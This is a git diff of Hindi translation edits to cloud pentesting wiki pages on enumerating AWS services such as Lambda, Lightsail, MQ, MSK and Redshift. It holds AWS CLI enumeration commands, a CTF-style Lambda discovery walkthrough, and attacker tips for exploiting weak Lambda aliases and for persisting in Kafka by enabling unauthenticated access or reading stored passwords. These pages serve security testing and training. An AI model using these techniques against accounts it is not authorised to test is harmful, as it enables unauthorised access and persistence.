**aliases** के माध्यम से एक्सपोज़ किए जाते हैं। **हर** **संस्करण** के **वजन** जो एक alias के अंदर एक्सपोज़ किए जाते हैं, यह तय करेंगे कि **कौन सा alias कॉल प्राप्त करता है** (यह उदाहरण के लिए 90%-10% हो सकता है)।\ -यदि **एक** alias का कोड **कमजोर** है, तो आप **अनुरोध भेज सकते हैं जब तक कमजोर** संस्करण को एक्सप्लॉइट प्राप्त नहीं होता। +और इसके पास **एक से अधिक** संस्करण हो सकते हैं जो **aliases** के माध्यम से एक्सपोज़ किए जाते हैं। **हर** **संस्करण** के **वजन** जो एक एलियास के अंदर एक्सपोज़ किए जाते हैं, यह तय करेंगे कि **कौन सा एलियास कॉल प्राप्त करता है** (यह 90%-10% हो सकता है, उदाहरण के लिए)।\ +यदि **एक** एलियास का कोड **कमजोर** है, तो आप **अनुरोध भेज सकते हैं जब तक कमजोर** संस्करण को एक्सप्लॉइट प्राप्त नहीं होता। ![](<../../../images/image (223).png>) ### Resource Policies -Lambda संसाधन नीतियाँ अन्य सेवाओं/खातों को लैम्ब्डा को कॉल करने के लिए **पहुँच देने** की अनुमति देती हैं।\ -उदाहरण के लिए, यह नीति है जो **किसी को भी URL के माध्यम से एक्सपोज़ किए गए लैम्ब्डा तक पहुँचने** की अनुमति देती है: +Lambda संसाधन नीतियाँ अन्य सेवाओं/खातों को लैम्ब्डा को कॉल करने की **अनुमति देने** की अनुमति देती हैं।\ +उदाहरण के लिए, यह नीति है जो **किसी को भी URL के माध्यम से एक्सपोज़ किए गए लैम्ब्डा तक पहुँचने की अनुमति देती है**:
-या यह API Gateway को इसे कॉल करने की अनुमति देने के लिए: +या यह नीति API Gateway को इसे कॉल करने की अनुमति देने के लिए:
### Lambda Database Proxies जब **सैकड़ों** **समानांतर लैम्ब्डा अनुरोध** होते हैं, यदि प्रत्येक को **डेटाबेस से कनेक्ट और कनेक्शन बंद करने** की आवश्यकता होती है, तो यह काम नहीं करेगा (लैम्ब्डा स्टेटलेस होते हैं, कनेक्शन को खुला नहीं रख सकते)।\ -फिर, यदि आपके **Lambda कार्य RDS Proxy के साथ इंटरैक्ट करते हैं** आपके डेटाबेस इंस्टेंस के बजाय। यह समानांतर Lambda कार्यों द्वारा बनाए गए कई समवर्ती कनेक्शनों के लिए आवश्यक कनेक्शन पूलिंग को संभालता है। यह आपके Lambda अनुप्रयोगों को **मौजूदा कनेक्शनों का पुन: उपयोग** करने की अनुमति देता है, बजाय इसके कि हर कार्य कॉल के लिए नए कनेक्शन बनाए। +फिर, यदि आपके **Lambda कार्य RDS Proxy के साथ इंटरैक्ट करते हैं** आपके डेटाबेस इंस्टेंस के बजाय। यह कई समानांतर Lambda कार्यों द्वारा बनाए गए कई समवर्ती कनेक्शनों के लिए आवश्यक कनेक्शन पूलिंग को संभालता है। यह आपके Lambda अनुप्रयोगों को **मौजूदा कनेक्शनों का पुन: उपयोग** करने की अनुमति देता है, बजाय इसके कि हर कार्य कॉल के लिए नए कनेक्शन बनाए। ### Lambda EFS Filesystems -डेटा को संरक्षित और साझा करने के लिए **Lambdas EFS तक पहुँच सकते हैं और उन्हें माउंट कर सकते हैं**, ताकि Lambda इसे पढ़ और लिख सके। +डेटा को संरक्षित करने और यहां तक कि साझा करने के लिए **Lambdas EFS तक पहुँच सकते हैं और उन्हें माउंट कर सकते हैं**, ताकि Lambda इसे पढ़ और लिख सके। ### Lambda Layers -एक Lambda _layer_ एक .zip फ़ाइल संग्रह है जो **अतिरिक्त कोड** या अन्य सामग्री को **शामिल कर सकता है**। एक लेयर में पुस्तकालय, एक [कस्टम रनटाइम](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं। +एक Lambda _लेयर_ एक .zip फ़ाइल संग्रह है जो **अतिरिक्त कोड** या अन्य सामग्री को **शामिल कर सकता है**। एक लेयर में पुस्तकालय, एक [कस्टम रनटाइम](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं। प्रत्येक फ़ंक्शन में **पाँच लेयर** तक शामिल करना संभव है। जब आप किसी फ़ंक्शन में एक लेयर शामिल करते हैं, तो **सामग्री को `/opt`** निर्देशिका में निष्पादन वातावरण में निकाला जाता है। -**डिफ़ॉल्ट** के रूप में, आप जो **लेयर** बनाते हैं वे आपके AWS खाते के लिए **निजी** होती हैं। आप एक लेयर को अन्य खातों के साथ **शेयर** करने या लेयर को **सार्वजनिक** बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन एक लेयर का उपभोग करते हैं जिसे एक अलग खाते ने प्रकाशित किया है, तो आपके फ़ंक्शन **लेयर संस्करण का उपयोग जारी रख सकते हैं** जब इसे हटा दिया गया हो, या जब आपकी लेयर तक पहुँचने की अनुमति रद्द कर दी गई हो। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाए गए लेयर संस्करण का उपयोग करते हुए फ़ंक्शंस को अपडेट नहीं कर सकते। +**डिफ़ॉल्ट** रूप से, आप जो **लेयर** बनाते हैं वे आपके AWS खाते के लिए **निजी** होती हैं। आप एक लेयर को अन्य खातों के साथ **साझा** करने या लेयर को **सार्वजनिक** बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन एक लेयर का उपभोग करते हैं जो किसी अन्य खाते द्वारा प्रकाशित की गई है, तो आपके फ़ंक्शन **लेयर संस्करण का उपयोग जारी रख सकते हैं** जब इसे हटा दिया गया हो, या जब आपकी लेयर तक पहुँचने की अनुमति रद्द कर दी गई हो। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाए गए लेयर संस्करण का उपयोग करते हुए फ़ंक्शंस को अपडेट नहीं कर सकते। -कंटेनर छवि के रूप में तैनात फ़ंक्शन लेयर का उपयोग नहीं करते हैं। इसके बजाय, आप छवि बनाने के समय अपने पसंदीदा रनटाइम, पुस्तकालयों और अन्य निर्भरताओं को कंटेनर छवि में पैकेज करते हैं। +कंटेनर छवि के रूप में तैनात फ़ंक्शन लेयर का उपयोग नहीं करते हैं। इसके बजाय, आप छवि बनाने के समय अपनी पसंद का रनटाइम, पुस्तकालय और अन्य निर्भरताएँ कंटेनर छवि में पैकेज करते हैं। ### Lambda Extensions -Lambda एक्सटेंशन कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके कार्यों को बढ़ाते हैं। ये एक्सटेंशन [.zip संग्रह का उपयोग करके Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के माध्यम से जोड़े जाते हैं या [कंटेनर छवि तैनाती में शामिल होते हैं](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), दो मोड में कार्य करते हैं: **आंतरिक** और **बाहरी**। +Lambda एक्सटेंशन कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके बढ़ाते हैं। ये एक्सटेंशन, [.zip संग्रह का उपयोग करके Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के माध्यम से जोड़े जाते हैं या [कंटेनर छवि तैनाती में शामिल होते हैं](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), दो मोड में कार्य करते हैं: **आंतरिक** और **बाहरी**। - **आंतरिक एक्सटेंशन** रनटाइम प्रक्रिया के साथ विलीन होते हैं, इसके स्टार्टअप को **भाषा-विशिष्ट पर्यावरण चर** और **रैपर स्क्रिप्ट** का उपयोग करके संशोधित करते हैं। यह अनुकूलन कई रनटाइम्स पर लागू होता है, जिसमें **Java Correto 8 और 11, Node.js 10 और 12, और .NET Core 3.1** शामिल हैं। - **बाहरी एक्सटेंशन** अलग प्रक्रियाओं के रूप में चलते हैं, Lambda फ़ंक्शन के जीवन चक्र के साथ संचालन संरेखण बनाए रखते हैं। वे विभिन्न रनटाइम्स के साथ संगत होते हैं जैसे **Node.js 10 और 12, Python 3.7 और 3.8, Ruby 2.5 और 2.7, Java Corretto 8 और 11, .NET Core 3.1**, और **कस्टम रनटाइम**। @@ -108,21 +108,21 @@ aws lambda invoke --function-name --cli-binary-format raw-in-base64-out - aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` -#### Call Lambda function via URL +#### URL के माध्यम से Lambda फ़ंक्शन कॉल करें -अब संभावित लैम्ब्डा फ़ंक्शंस को निष्पादित करने का समय है: +अब संभावित lambda फ़ंक्शंस को निष्पादित करने का समय है: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` ![](<../../../images/image (262).png>) -एक लैम्ब्डा फ़ंक्शन "Level6" उपलब्ध है। चलिए इसे कॉल करने का तरीका खोजते हैं: +एक लम्ब्डा फ़ंक्शन "Level6" उपलब्ध है। चलिए पता करते हैं कि इसे कैसे कॉल किया जाए: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` ![](<../../../images/image (102).png>) -अब, जब आप नाम और आईडी जानते हैं, तो आप नाम प्राप्त कर सकते हैं: +अब, जब आप नाम और ID जानते हैं, तो आप नाम प्राप्त कर सकते हैं: ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` @@ -134,7 +134,7 @@ aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33 #### अन्य ट्रिगर्स -बहुत सारे अन्य स्रोत हैं जो एक लैम्ब्डा को ट्रिगर कर सकते हैं +कई अन्य स्रोत हैं जो एक लैम्ब्डा को ट्रिगर कर सकते हैं
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 200a0397e..1380285f9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,7 +4,7 @@ ## AWS - Lightsail -Amazon Lightsail एक **आसान**, हल्का तरीका प्रदान करता है ताकि नए क्लाउड उपयोगकर्ता AWS के क्लाउड कंप्यूटिंग सेवाओं का लाभ उठा सकें। यह आपको **VMs** (**EC2**) और **containers** के माध्यम से सेकंडों में सामान्य और कस्टम वेब सेवाओं को तैनात करने की अनुमति देता है।\ +Amazon Lightsail नए क्लाउड उपयोगकर्ताओं के लिए AWS के क्लाउड कंप्यूटिंग सेवाओं का लाभ उठाने का एक **आसान**, हल्का तरीका प्रदान करता है। यह आपको **VMs** (**EC2**) और **containers** के माध्यम से सेकंडों में सामान्य और कस्टम वेब सेवाओं को तैनात करने की अनुमति देता है।\ यह एक **न्यूनतम EC2 + Route53 + ECS** है। ### Enumeration @@ -30,11 +30,11 @@ aws lightsail get-key-pairs ``` ### स्नैपशॉट का विश्लेषण -**लाइटसेल से इंस्टेंस और रिलेशनल डेटाबेस स्नैपशॉट उत्पन्न करना संभव है**। इसलिए आप उन्हें उसी तरह जांच सकते हैं जैसे आप [**EC2 स्नैपशॉट**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) और [**RDS स्नैपशॉट**](aws-relational-database-rds-enum.md#enumeration) की जांच करते हैं। +**लाइटसेल से इंस्टेंस और रिलेशनल डेटाबेस स्नैपशॉट्स उत्पन्न करना संभव है**। इसलिए आप उन्हें उसी तरह जांच सकते हैं जैसे आप [**EC2 स्नैपशॉट्स**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) और [**RDS स्नैपशॉट्स**](aws-relational-database-rds-enum.md#enumeration) की जांच करते हैं। ### मेटाडेटा -**मेटाडेटा एंडपॉइंट लाइटसेल से सुलभ है**, लेकिन मशीनें **AWS द्वारा प्रबंधित AWS खाते में चल रही हैं** इसलिए आप **कौन सी अनुमतियाँ दी जा रही हैं** उसे नियंत्रित नहीं करते। हालाँकि, यदि आप उन पर शोषण करने का कोई तरीका खोजते हैं, तो आप सीधे AWS का शोषण कर रहे होंगे। +**मेटाडेटा एंडपॉइंट लाइटसेल से सुलभ है**, लेकिन मशीनें एक **AWS खाते में चल रही हैं जिसे AWS द्वारा प्रबंधित किया जा रहा है** इसलिए आप **कौन सी अनुमतियाँ दी जा रही हैं** उसे नियंत्रित नहीं करते। हालाँकि, यदि आप उन पर शोषण करने का कोई तरीका खोजते हैं, तो आप सीधे AWS का शोषण कर रहे होंगे। ### प्रिवेस्क @@ -42,7 +42,7 @@ aws lightsail get-key-pairs ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### पोस्ट शोषण +### पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index a5c2c4f94..03a61ae10 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -4,17 +4,17 @@ ## Amazon MQ -### Message Brokers का परिचय +### संदेश ब्रोकरों का परिचय -**Message brokers** मध्यस्थ के रूप में कार्य करते हैं, विभिन्न सॉफ़्टवेयर सिस्टम के बीच संचार को सुविधाजनक बनाते हैं, जो विभिन्न प्लेटफार्मों पर बनाए जा सकते हैं और विभिन्न भाषाओं में प्रोग्राम किए जा सकते हैं। **Amazon MQ** AWS पर संदेश ब्रोकर के तैनाती, संचालन और रखरखाव को सरल बनाता है। यह **Apache ActiveMQ** और **RabbitMQ** के लिए प्रबंधित सेवाएँ प्रदान करता है, जो निर्बाध प्रावधान और स्वचालित सॉफ़्टवेयर संस्करण अपडेट सुनिश्चित करता है। +**संदेश ब्रोकर** विभिन्न सॉफ़्टवेयर सिस्टमों के बीच संचार को सुविधाजनक बनाने वाले मध्यस्थ के रूप में कार्य करते हैं, जो विभिन्न प्लेटफार्मों पर बनाए जा सकते हैं और विभिन्न भाषाओं में प्रोग्राम किए जा सकते हैं। **Amazon MQ** AWS पर संदेश ब्रोकरों की तैनाती, संचालन और रखरखाव को सरल बनाता है। यह **Apache ActiveMQ** और **RabbitMQ** के लिए प्रबंधित सेवाएँ प्रदान करता है, जो निर्बाध प्रावधान और स्वचालित सॉफ़्टवेयर संस्करण अपडेट सुनिश्चित करता है। ### AWS - RabbitMQ -RabbitMQ एक प्रमुख **message-queueing software** है, जिसे _message broker_ या _queue manager_ के रूप में भी जाना जाता है। यह मूल रूप से एक प्रणाली है जहाँ कतारें कॉन्फ़िगर की जाती हैं। अनुप्रयोग इन कतारों के साथ इंटरफ़ेस करते हैं ताकि **संदेश भेजें और प्राप्त करें**। इस संदर्भ में संदेश विभिन्न प्रकार की जानकारी ले जा सकते हैं, जैसे अन्य अनुप्रयोगों (संभवतः विभिन्न सर्वरों पर) पर प्रक्रियाएँ आरंभ करने के लिए आदेश से लेकर सरल पाठ संदेश तक। संदेशों को प्राप्त करने वाले अनुप्रयोग द्वारा पुनः प्राप्त और संसाधित किए जाने तक कतार-प्रबंधक सॉफ़्टवेयर द्वारा रखा जाता है। AWS RabbitMQ सर्वरों को होस्ट और प्रबंधित करने के लिए एक उपयोग में आसान समाधान प्रदान करता है। +RabbitMQ एक प्रमुख **संदेश- कतार सॉफ़्टवेयर** है, जिसे _संदेश ब्रोकर_ या _कतार प्रबंधक_ के रूप में भी जाना जाता है। यह मूल रूप से एक प्रणाली है जहाँ कतारें कॉन्फ़िगर की जाती हैं। अनुप्रयोग इन कतारों के साथ **संदेश भेजने और प्राप्त करने** के लिए इंटरफ़ेस करते हैं। इस संदर्भ में संदेश विभिन्न प्रकार की जानकारी ले जा सकते हैं, जैसे कि अन्य अनुप्रयोगों (संभवतः विभिन्न सर्वरों पर) पर प्रक्रियाएँ आरंभ करने के लिए आदेश से लेकर साधारण पाठ संदेश तक। संदेश कतार-प्रबंधक सॉफ़्टवेयर द्वारा तब तक रखे जाते हैं जब तक कि उन्हें प्राप्त करने वाले अनुप्रयोग द्वारा पुनः प्राप्त और संसाधित नहीं किया जाता। AWS RabbitMQ सर्वरों को होस्ट और प्रबंधित करने के लिए एक उपयोग में आसान समाधान प्रदान करता है। ### AWS - ActiveMQ -Apache ActiveMQ® एक प्रमुख ओपन-सोर्स, Java-आधारित **message broker** है जो अपनी बहुपरकारीता के लिए जाना जाता है। यह कई उद्योग-मानक प्रोटोकॉल का समर्थन करता है, जो विभिन्न भाषाओं और प्लेटफार्मों में व्यापक ग्राहक संगतता प्रदान करता है। उपयोगकर्ता कर सकते हैं: +Apache ActiveMQ® एक प्रमुख ओपन-सोर्स, जावा-आधारित **संदेश ब्रोकर** है जो अपनी बहुपरकारीता के लिए जाना जाता है। यह कई उद्योग-मानक प्रोटोकॉल का समर्थन करता है, जो विभिन्न भाषाओं और प्लेटफार्मों में व्यापक ग्राहक संगतता प्रदान करता है। उपयोगकर्ता कर सकते हैं: - JavaScript, C, C++, Python, .Net, और अधिक में लिखे गए ग्राहकों के साथ कनेक्ट करें। - विभिन्न प्लेटफार्मों से अनुप्रयोगों को एकीकृत करने के लिए **AMQP** प्रोटोकॉल का लाभ उठाएँ। @@ -24,7 +24,7 @@ Apache ActiveMQ® एक प्रमुख ओपन-सोर्स, Java-आ ActiveMQ की मजबूती और लचीलापन इसे कई प्रकार की संदेश आवश्यकताओं के लिए उपयुक्त बनाते हैं। -## Enumeration +## गणना ```bash # List brokers aws mq list-brokers diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index ce4e12014..57b86fd67 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -6,17 +6,17 @@ **Amazon Managed Streaming for Apache Kafka (Amazon MSK)** एक सेवा है जो पूरी तरह से प्रबंधित है, जो **Apache Kafka** के माध्यम से स्ट्रीमिंग डेटा को संसाधित करने वाले अनुप्रयोगों के विकास और निष्पादन को सुविधाजनक बनाती है। नियंत्रण-स्तर संचालन, जिसमें **क्लस्टर** का निर्माण, अद्यतन और हटाना शामिल है, Amazon MSK द्वारा प्रदान किए जाते हैं। यह सेवा Apache Kafka **डेटा-स्तर संचालन** के उपयोग की अनुमति देती है, जिसमें डेटा उत्पादन और उपभोग शामिल हैं। यह **Apache Kafka** के ओपन-सोर्स संस्करणों पर काम करती है, जो मौजूदा अनुप्रयोगों, उपकरणों और साझेदारों और **Apache Kafka समुदाय** से प्लगइन्स के साथ संगतता सुनिश्चित करती है, जिससे अनुप्रयोग कोड में परिवर्तनों की आवश्यकता समाप्त हो जाती है। -विश्वसनीयता के मामले में, Amazon MSK को **सामान्य क्लस्टर विफलता परिदृश्यों** का स्वचालित रूप से पता लगाने और पुनर्प्राप्त करने के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि उत्पादक और उपभोक्ता अनुप्रयोग अपने डेटा लेखन और पढ़ने की गतिविधियों में न्यूनतम व्यवधान के साथ बने रहें। इसके अलावा, यह डेटा पुनरुत्पादन प्रक्रियाओं को अनुकूलित करने का प्रयास करता है, **बदले गए ब्रोकरों के भंडारण** का पुन: उपयोग करने का प्रयास करके, इस प्रकार Apache Kafka द्वारा पुनरुत्पादित किए जाने वाले डेटा की मात्रा को कम करता है। +विश्वसनीयता के मामले में, Amazon MSK को **सामान्य क्लस्टर विफलता परिदृश्यों** का स्वचालित रूप से पता लगाने और पुनर्प्राप्त करने के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि उत्पादक और उपभोक्ता अनुप्रयोग अपने डेटा लेखन और पढ़ने की गतिविधियों को न्यूनतम व्यवधान के साथ जारी रखते हैं। इसके अलावा, यह डेटा पुनरुत्पादन प्रक्रियाओं को अनुकूलित करने का प्रयास करता है, **बदले गए ब्रोकरों के भंडारण का पुन: उपयोग** करके, इस प्रकार Apache Kafka द्वारा पुनरुत्पादित किए जाने वाले डेटा की मात्रा को कम करता है। ### **Types** -AWS द्वारा बनाने के लिए 2 प्रकार के Kafka क्लस्टर हैं: प्रावधानित और सर्वरलेस। +AWS द्वारा बनाने के लिए 2 प्रकार के Kafka क्लस्टर हैं: Provisioned और Serverless। एक हमलावर के दृष्टिकोण से आपको यह जानना आवश्यक है कि: -- **सर्वरलेस सीधे सार्वजनिक नहीं हो सकता** (यह केवल एक VPN में चल सकता है जिसमें कोई सार्वजनिक रूप से उजागर IP नहीं है)। हालाँकि, **प्रावधानित** को **सार्वजनिक IP** प्राप्त करने के लिए कॉन्फ़िगर किया जा सकता है (डिफ़ॉल्ट रूप से यह नहीं होता) और **सुरक्षा समूह** को प्रासंगिक पोर्ट को **उजागर** करने के लिए कॉन्फ़िगर किया जा सकता है। -- **सर्वरलेस** **केवल IAM** को प्रमाणीकरण विधि के रूप में समर्थन करता है। **प्रावधानित** SASL/SCRAM (**पासवर्ड**) प्रमाणीकरण, **IAM** प्रमाणीकरण, AWS **प्रमाणपत्र** प्रबंधक (ACM) प्रमाणीकरण और **अप्रमाणित** पहुंच का समर्थन करता है। -- ध्यान दें कि यदि अप्रमाणित पहुंच सक्षम है तो प्रावधानित Kafka को सार्वजनिक रूप से उजागर करना संभव नहीं है। +- **Serverless को सीधे सार्वजनिक नहीं किया जा सकता** (यह केवल एक VPN में चल सकता है जिसमें कोई सार्वजनिक रूप से उजागर IP नहीं है)। हालाँकि, **Provisioned** को **सार्वजनिक IP** प्राप्त करने के लिए कॉन्फ़िगर किया जा सकता है (डिफ़ॉल्ट रूप से यह नहीं होता) और **सुरक्षा समूह** को प्रासंगिक पोर्ट को **उजागर** करने के लिए कॉन्फ़िगर किया जा सकता है। +- **Serverless** **केवल IAM** को प्रमाणीकरण विधि के रूप में समर्थन करता है। **Provisioned** SASL/SCRAM (**पासवर्ड**) प्रमाणीकरण, **IAM** प्रमाणीकरण, AWS **Certificate** Manager (ACM) प्रमाणीकरण और **Unauthenticated** पहुंच का समर्थन करता है। +- ध्यान दें कि यदि अनधिकृत पहुंच सक्षम है तो एक Provisioned Kafka को सार्वजनिक रूप से उजागर करना संभव नहीं है। ### Enumeration ```bash @@ -86,7 +86,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistence -यदि आप उस **VPC** तक **पहुँच** रखने जा रहे हैं जहाँ एक Provisioned Kafka है, तो आप **अनधिकृत पहुँच** **सक्षम** कर सकते हैं, यदि **SASL/SCRAM प्रमाणीकरण**, **गुप्त से** पासवर्ड **पढ़ें**, कुछ **अन्य नियंत्रित उपयोगकर्ता IAM अनुमतियाँ** दें (यदि IAM या सर्वरलेस का उपयोग किया गया हो) या **प्रमाणपत्रों** के साथ **स्थायी** रहें। +यदि आप **VPC तक पहुँच** प्राप्त करने जा रहे हैं जहाँ एक Provisioned Kafka है, तो आप **अनधिकृत पहुँच सक्षम** कर सकते हैं, यदि **SASL/SCRAM प्रमाणीकरण**, **गुप्त से** पासवर्ड पढ़ें, कुछ **अन्य नियंत्रित उपयोगकर्ता IAM अनुमतियाँ** दें (यदि IAM या सर्वरलेस का उपयोग किया गया है) या **प्रमाणपत्रों** के साथ स्थायी रहें। ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index 167093452..2f7894e2f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -11,7 +11,7 @@ AWS Organizations नए AWS खातों के निर्माण को - **नया खाता निर्माण**: AWS Organizations नए AWS खातों के निर्माण की अनुमति देता है बिना अतिरिक्त शुल्क के। - **संसाधन आवंटन**: यह खातों के बीच संसाधनों को आवंटित करने की प्रक्रिया को सरल बनाता है। - **खाता समूह बनाना**: खातों को एक साथ समूहित किया जा सकता है, जिससे प्रबंधन अधिक सुव्यवस्थित हो जाता है। -- **शासन नीतियाँ**: नीतियाँ खातों या खातों के समूहों पर लागू की जा सकती हैं, जिससे संगठन में अनुपालन और शासन सुनिश्चित होता है। +- **गवर्नेंस नीतियाँ**: नीतियाँ खातों या खातों के समूहों पर लागू की जा सकती हैं, जिससे संगठन में अनुपालन और शासन सुनिश्चित होता है। आप अधिक जानकारी यहाँ पा सकते हैं: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index 2889e67ff..e2b441b52 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -4,14 +4,14 @@ ## Directconnect -**एक कॉर्पोरेट निजी नेटवर्क को AWS से कनेक्ट करने की अनुमति देता है** (ताकि आप एक EC2 इंस्टेंस से समझौता कर सकें और कॉर्पोरेट नेटवर्क तक पहुँच सकें)। +यह **एक कॉर्पोरेट निजी नेटवर्क को AWS से कनेक्ट करने** की अनुमति देता है (ताकि आप एक EC2 इंस्टेंस से समझौता कर सकें और कॉर्पोरेट नेटवर्क तक पहुँच सकें)। ``` aws directconnect describe-connections aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` -## Support +## समर्थन AWS में आप API के माध्यम से वर्तमान और पिछले समर्थन मामलों तक पहुँच सकते हैं। ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 08befaa19..059fb06fa 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,23 +4,23 @@ ## Amazon Redshift -Redshift एक पूरी तरह से प्रबंधित सेवा है जो आकार में एक पेटाबाइट से अधिक तक स्केल कर सकती है, जिसका उपयोग **बिग डेटा समाधानों के लिए डेटा वेयरहाउस के रूप में** किया जाता है। Redshift क्लस्टरों का उपयोग करके, आप अपने डेटा सेट के खिलाफ तेज, SQL-आधारित क्वेरी उपकरणों और व्यावसायिक बुद्धिमत्ता अनुप्रयोगों का उपयोग करके विश्लेषण चला सकते हैं ताकि अपने व्यवसाय के लिए दृष्टि की बेहतर समझ प्राप्त कर सकें। +Redshift एक पूरी तरह से प्रबंधित सेवा है जो आकार में एक पेटाबाइट से अधिक तक स्केल कर सकती है, जिसका उपयोग **बिग डेटा समाधानों के लिए डेटा वेयरहाउस के रूप में** किया जाता है। Redshift क्लस्टरों का उपयोग करके, आप अपने डेटा सेट के खिलाफ तेज, SQL-आधारित क्वेरी उपकरणों और व्यावसायिक बुद्धिमत्ता अनुप्रयोगों का उपयोग करके विश्लेषण चला सकते हैं ताकि आपके व्यवसाय के लिए दृष्टि की बेहतर समझ प्राप्त हो सके। -**Redshift चार-स्तरीय एन्क्रिप्शन कुंजी की हायरार्की का उपयोग करके विश्राम में एन्क्रिप्शन की पेशकश करता है, जिसका प्रबंधन KMS या CloudHSM द्वारा शीर्ष स्तर की कुंजी के लिए किया जाता है**। **जब आपके क्लस्टर के लिए एन्क्रिप्शन सक्षम होता है, तो इसे अक्षम नहीं किया जा सकता और इसके विपरीत**। जब आपके पास एक अनएन्क्रिप्टेड क्लस्टर होता है, तो इसे एन्क्रिप्ट नहीं किया जा सकता। +**Redshift चार-स्तरीय एन्क्रिप्शन कुंजी की हायरार्की का उपयोग करके विश्राम में एन्क्रिप्शन की पेशकश करता है, जिसमें शीर्ष स्तर की कुंजी प्रबंधित करने के लिए KMS या CloudHSM का उपयोग किया जाता है**। **जब आपके क्लस्टर के लिए एन्क्रिप्शन सक्षम होता है, तो इसे अक्षम नहीं किया जा सकता है और इसके विपरीत**। जब आपके पास एक अनएन्क्रिप्टेड क्लस्टर होता है, तो इसे एन्क्रिप्ट नहीं किया जा सकता है। आपके क्लस्टर के लिए एन्क्रिप्शन केवल इसके निर्माण के दौरान हो सकता है, और एक बार एन्क्रिप्ट होने के बाद, डेटा, मेटाडेटा, और कोई भी स्नैपशॉट भी एन्क्रिप्टेड होते हैं। एन्क्रिप्शन कुंजी के स्तर इस प्रकार हैं, **स्तर एक मास्टर कुंजी है, स्तर दो क्लस्टर एन्क्रिप्शन कुंजी, CEK, स्तर तीन, डेटाबेस एन्क्रिप्शन कुंजी, DEK, और अंततः स्तर चार, डेटा एन्क्रिप्शन कुंजी स्वयं**। ### KMS -अपने क्लस्टर के निर्माण के दौरान, आप या तो Redshift के लिए **डिफ़ॉल्ट KMS कुंजी** का चयन कर सकते हैं या अपनी **स्वयं की CMK** का चयन कर सकते हैं, जो आपको कुंजी के नियंत्रण पर अधिक लचीलापन देता है, विशेष रूप से एक ऑडिटेबल दृष्टिकोण से। +अपने क्लस्टर के निर्माण के दौरान, आप Redshift के लिए **डिफ़ॉल्ट KMS कुंजी** का चयन कर सकते हैं या अपनी **स्वयं की CMK** का चयन कर सकते हैं, जो आपको कुंजी के नियंत्रण पर अधिक लचीलापन देता है, विशेष रूप से एक ऑडिटेबल दृष्टिकोण से। -Redshift के लिए डिफ़ॉल्ट KMS कुंजी तब स्वचालित रूप से बनाई जाती है जब पहली बार कुंजी विकल्प का चयन और उपयोग किया जाता है, और इसे AWS द्वारा पूरी तरह से प्रबंधित किया जाता है। +Redshift के लिए डिफ़ॉल्ट KMS कुंजी स्वचालित रूप से Redshift द्वारा पहली बार कुंजी विकल्प का चयन और उपयोग करने पर बनाई जाती है, और इसे AWS द्वारा पूरी तरह से प्रबंधित किया जाता है। यह KMS कुंजी फिर CMK मास्टर कुंजी, स्तर एक के साथ एन्क्रिप्ट की जाती है। यह 